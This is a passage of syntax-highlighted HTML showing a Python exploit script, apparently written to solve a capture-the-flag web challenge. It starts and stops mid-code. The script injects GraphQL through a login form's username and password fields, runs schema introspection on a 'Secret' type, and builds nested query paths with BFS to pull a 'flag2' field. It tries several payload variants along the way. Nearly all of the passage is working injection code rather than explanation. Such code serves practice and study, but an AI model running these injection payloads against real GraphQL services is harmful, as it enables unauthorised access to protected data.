<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">login</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">username</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> payload</span><span style="color: #D6DEEB">))</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">send</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">payload</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">str</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    payload </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> re.</span><span style="color: #B2CCD6">sub</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">r</span><span style="color: #D9F5DD">&quot;</span><span style="color: #5CA7E4">\s</span><span style="color: #7FDBCA">+</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> payload</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    payload </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> re.</span><span style="color: #B2CCD6">sub</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">r</span><span style="color: #D9F5DD">&quot;</span><span style="color: #5CA7E4">^ </span><span style="color: #7FDBCA">|</span><span style="color: #5CA7E4"> $</span><span style="color: #7FDBCA">|(?&lt;=</span><span style="color: #5CA7E4">\W</span><span style="color: #7FDBCA">)</span><span style="color: #5CA7E4"> </span><span style="color: #7FDBCA">|</span><span style="color: #5CA7E4"> </span><span style="color: #7FDBCA">(?=</span><span style="color: #5CA7E4">\W</span><span style="color: #7FDBCA">)</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> payload</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># res = login(&#39;x&#39;, f&#39;&quot;){{login:{payload}x:#&#39;)</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">login</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">&quot;,$password:String=&quot;&quot;){login:#</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #F78C6C">\n</span><span style="color: #82AAFF">{payload}</span><span style="color: #ECC48D">x:#&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    username </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> re.</span><span style="color: #B2CCD6">search</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">r</span><span style="color: #D9F5DD">&#39;</span><span style="color: #5CA7E4">用户名&lt;/strong&gt;\s</span><span style="color: #7FDBCA">*</span><span style="color: #5CA7E4">&lt;div&gt;(.</span><span style="color: #7FDBCA">*?</span><span style="color: #5CA7E4">)&lt;/div&gt;</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> res</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">assert</span><span style="color: #D6DEEB"> username </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">literal_eval</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">unescape</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">username.</span><span style="color: #B2CCD6">group</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)))</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">introspection1</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    introspection </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;&#39;&#39;</span></span>
<span><span style="color: #ECC48D">    __schema {</span></span>
<span><span style="color: #ECC48D">      ok: __typename</span></span>
<span><span style="color: #ECC48D">      username: types {</span></span>
<span><span style="color: #ECC48D">        name</span></span>
<span><span style="color: #ECC48D">        fields {</span></span>
<span><span style="color: #ECC48D">          name</span></span>
<span><span style="color: #ECC48D">          type {</span></span>
<span><span style="color: #ECC48D">            name</span></span>
<span><span style="color: #ECC48D">          }</span></span>
<span><span style="color: #ECC48D">        }</span></span>
<span><span style="color: #ECC48D">      }</span></span>
<span><span style="color: #ECC48D">    }</span></span>
<span><span style="color: #ECC48D">    </span><span style="color: #D9F5DD">&#39;&#39;&#39;</span></span>
<span></span>
<span><span style="color: #D6DEEB">    fields </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> {}</span></span>
<span></span>
<span><span style="color: #D6DEEB">    types </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">introspection</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> t </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> types:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> t.</span><span style="color: #B2CCD6">get</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">fields</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">continue</span></span>
<span><span style="color: #D6DEEB">        fields[t[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> {}</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> f </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> t[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">fields</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]:</span></span>
<span><span style="color: #D6DEEB">            fields[t[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]]</span><span style="color: #D9F5DD">[</span><span style="color: #D6DEEB">f[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">type</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">]</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> fields</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">introspection2</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    introspection </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;&#39;&#39;</span></span>
<span><span style="color: #ECC48D">    __type(name: &quot;Secret&quot;) {</span></span>
<span><span style="color: #ECC48D">      ok: name</span></span>
<span><span style="color: #ECC48D">      username: fields {</span></span>
<span><span style="color: #ECC48D">        name</span></span>
<span><span style="color: #ECC48D">        type {</span></span>
<span><span style="color: #ECC48D">          name</span></span>
<span><span style="color: #ECC48D">          fields {</span></span>
<span><span style="color: #ECC48D">            name</span></span>
<span><span style="color: #ECC48D">            type {</span></span>
<span><span style="color: #ECC48D">              name</span></span>
<span><span style="color: #ECC48D">              fields {</span></span>
<span><span style="color: #ECC48D">                name</span></span>
<span><span style="color: #ECC48D">                type {</span></span>
<span><span style="color: #ECC48D">                  name</span></span>
<span><span style="color: #ECC48D">                  fields {</span></span>
<span><span style="color: #ECC48D">                    name</span></span>
<span><span style="color: #ECC48D">                    type {</span></span>
<span><span style="color: #ECC48D">                      name</span></span>
<span><span style="color: #ECC48D">                      fields {</span></span>
<span><span style="color: #ECC48D">                        name</span></span>
<span><span style="color: #ECC48D">                        type {</span></span>
<span><span style="color: #ECC48D">                          name</span></span>
<span><span style="color: #ECC48D">                          fields {</span></span>
<span><span style="color: #ECC48D">                            name</span></span>
<span><span style="color: #ECC48D">                            type {</span></span>
<span><span style="color: #ECC48D">                              name</span></span>
<span><span style="color: #ECC48D">                              fields {</span></span>
<span><span style="color: #ECC48D">                                name</span></span>
<span><span style="color: #ECC48D">                                type {</span></span>
<span><span style="color: #ECC48D">                                  name</span></span>
<span><span style="color: #ECC48D">                                  fields {</span></span>
<span><span style="color: #ECC48D">                                    name</span></span>
<span><span style="color: #ECC48D">                                    type { name }</span></span>
<span><span style="color: #ECC48D">                                  }</span></span>
<span><span style="color: #ECC48D">                                }</span></span>
<span><span style="color: #ECC48D">                              }</span></span>
<span><span style="color: #ECC48D">                            }</span></span>
<span><span style="color: #ECC48D">                          }</span></span>
<span><span style="color: #ECC48D">                        }</span></span>
<span><span style="color: #ECC48D">                      }</span></span>
<span><span style="color: #ECC48D">                    }</span></span>
<span><span style="color: #ECC48D">                  }</span></span>
<span><span style="color: #ECC48D">                }</span></span>
<span><span style="color: #ECC48D">              }</span></span>
<span><span style="color: #ECC48D">            }</span></span>
<span><span style="color: #ECC48D">          }</span></span>
<span><span style="color: #ECC48D">        }</span></span>
<span><span style="color: #ECC48D">      }</span></span>
<span><span style="color: #ECC48D">    }</span></span>
<span><span style="color: #ECC48D">    </span><span style="color: #D9F5DD">&#39;&#39;&#39;</span></span>
<span></span>
<span><span style="color: #D6DEEB">    secret_fields </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">introspection</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    fields </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> {}</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">dfs</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">u</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> u[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> fields </span><span style="color: #C792EA">or</span><span style="color: #D6DEEB"> u.</span><span style="color: #B2CCD6">get</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">fields</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">return</span></span>
<span><span style="color: #D6DEEB">        fields[u[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> {}</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> f </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> u[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">fields</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]:</span></span>
<span><span style="color: #D6DEEB">            fields[u[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]]</span><span style="color: #D9F5DD">[</span><span style="color: #D6DEEB">f[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">type</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">]</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #B2CCD6">dfs</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">f</span><span style="color: #D6DEEB">[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">type</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">])</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #B2CCD6">dfs</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">{</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">name</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">Secret</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">, </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">fields</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: secret_fields}</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> fields</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">bfs</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">fields</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    path </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> {</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">Secret</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">: </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">&lt;SLOT&gt;</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">}</span></span>
<span><span style="color: #D6DEEB">    queue </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">Secret</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">]</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">queue</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&gt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        u </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> queue.</span><span style="color: #B2CCD6">pop</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> u </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> fields:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">continue</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> f, v </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> fields[u].</span><span style="color: #B2CCD6">items</span><span style="color: #D6DEEB">():</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> v </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> path:</span></span>
<span><span style="color: #D6DEEB">                path[v] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> path[u].</span><span style="color: #B2CCD6">replace</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">&lt;SLOT&gt;</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{f}</span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D">&lt;SLOT&gt;</span><span style="color: #F78C6C">}}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">                queue.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">v</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> path</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">flag_query</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">fields</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">path</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> u </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> fields:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> f </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> fields[u]:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> f </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">flag2</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> path[u].</span><span style="color: #B2CCD6">replace</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">&lt;SLOT&gt;</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> f</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get_short</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">fields</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">shortest payload</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">    path </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">bfs</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">flag_query</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> path</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;secret </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> username: </span><span style="color: #82AAFF">{query}</span><span style="color: #ECC48D"> ok: __typename </span><span style="color: #F78C6C">}}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">res</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get_long</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">fields</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">long payload</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">    path </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">bfs</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">flag_query</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> path</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;secret </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ok: </span><span style="color: #82AAFF">{query}</span><span style="color: #ECC48D"> isAdmin: </span><span style="color: #82AAFF">{query}</span><span style="color: #ECC48D"> username: </span><span style="color: #82AAFF">{query}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">}}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">res</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get1</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">fields</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">use __typename</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">    path </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">bfs</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">flag_query</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> path</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;secret </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ok: __typename isAdmin: __typename username: </span><span style="color: #82AAFF">{query}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">}}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">res</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get2</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">fields</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">omit isAdmin</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">    path </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">bfs</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">flag_query</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> path</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;secret </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ok: </span><span style="color: #82AAFF">{query}</span><span style="color: #ECC48D"> username: </span><span style="color: #82AAFF">{query}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">}}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">res</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get3</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">fields</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">use fragment</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span></span>
<span><span style="color: #D6DEEB">    path </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">bfs</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">flag_query</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> path</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">assert</span><span style="color: #D6DEEB"> query </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span></span>
<span></span>
<span><span style="color: #D6DEEB">    query_match </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> re.</span><span style="color: #B2CCD6">match</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">r</span><span style="color: #D9F5DD">&#39;</span><span style="color: #5CA7E4">(\w</span><span style="color: #7FDBCA">+</span><span style="color: #5CA7E4">)</span><span style="color: #F78C6C">\{</span><span style="color: #5CA7E4">(.</span><span style="color: #7FDBCA">*</span><span style="color: #5CA7E4">)</span><span style="color: #F78C6C">\}</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> query</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">assert</span><span style="color: #D6DEEB"> query_match </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span></span>
<span><span style="color: #D6DEEB">    outer </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> query_match.</span><span style="color: #B2CCD6">group</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)</span></span>
